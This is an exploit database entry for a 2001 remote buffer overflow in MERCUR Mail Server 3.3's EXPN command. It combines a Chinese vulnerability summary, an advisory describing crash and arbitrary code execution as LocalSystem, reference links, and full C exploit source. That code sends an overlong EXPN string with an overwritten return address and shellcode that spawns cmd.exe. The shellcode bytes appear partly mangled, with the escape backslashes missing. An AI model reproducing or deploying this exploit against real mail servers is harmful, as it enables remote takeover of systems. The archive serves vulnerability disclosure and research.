https://www.exploit-db.com/exploits/20647
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200105-006

MERCURSMTP服务器3.30存在缓冲区溢出漏洞。远程攻击者可以借助超长EXPN命令执行任意命令。

source: http://www.securityfocus.com/bid/2412/info

Atrium Software Mercur Mail Server 3.3 contains an unchecked buffer for the EXPN command which may lead to a denial of service attack or execution of arbitrary code depending on the data entered.

If a remote attacker were to telnet to the SMTP server and enter an overly long string of random characters following the EXPN command, the remote target would crash. The execution of arbitrary code is possible if a carefully crafted string that overwrote the EIP was entered into the buffer. The attacker would be able to perform virtually any action on the remote system under the context of the LocalSystem account. 

/*
 MERCUR Mailserver 3.3 Remote Buffer Overflow
 Tested on Win2K AS SP1 with MERCUR SMTP-
Server v3.30.03
 Martin Rakhmanoff
 [email protected]
*/

#include <winsock2.h>
#include <stdio.h>

/* x63x6Dx64x2Ex65x78x65 - simply 'cmd.exe' */
char shellcode[] =
 "x8BxC4x83xC0x17x50xB8x0ExB5xE9x77
xFFxD0x33xDBx53"
 "xB8x2DxF3xE8x77xFFxD0x63x6Dx64
x2Ex65x78x65x0Dx0A";
/*
In SoftICE bpx 001b:00418b65 - here eip is restored
with overwritten
value...
*/

int main(int argc, char * argv[]){

 int i;
 char sploit[512];
 char buffer[512];

 WSADATA wsaData;
 SOCKET  sock;
 struct sockaddr_in server;
 struct hostent *hp;

 WSAStartup(0x202,&wsaData);
 hp = gethostbyname("arena");
 memset(&server,0,sizeof(server));
 memcpy(&(server.sin_addr),hp->h_addr,hp-
>h_length);
 server.sin_family = hp->h_addrtype;
 server.sin_port = htons(25);
 sock = socket(AF_INET,SOCK_STREAM,0);
 connect(sock,(struct sockaddr*)&server,sizeof
(server));

 sploit[0]='E';
 sploit[1]='X';
 sploit[2]='P';
 sploit[3]='N';
 sploit[4]=0x20;


 for(i=5;i<137;i++){
  sploit[i]=0x41;
 }

 // Return address
 //77E87D8B

 sploit[137]=0x8B;
 sploit[138]=0x89;
 sploit[139]=0xE8;
 sploit[140]=0x77;

 for(i=0;i<sizeof(shellcode);i++){
  sploit[i+141]=shellcode[i];
 }

 recv(sock,buffer,512,0);

 send(sock,sploit,173,0);

 closesocket(sock);
 WSACleanup();

 return 0;
}

来源:BUGTRAQ
名称:20010223MercurMailserver3.3bufferoverflowwithEXPN
链接:http://archives.neohapsis.com/archives/bugtraq/2001-02/0413.html
来源:XF
名称:mercur-expn-bo(6149)
链接:http://xforce.iss.net/static/6149.php
来源:OSVDB
名称:6027
链接:http://www.osvdb.org/6027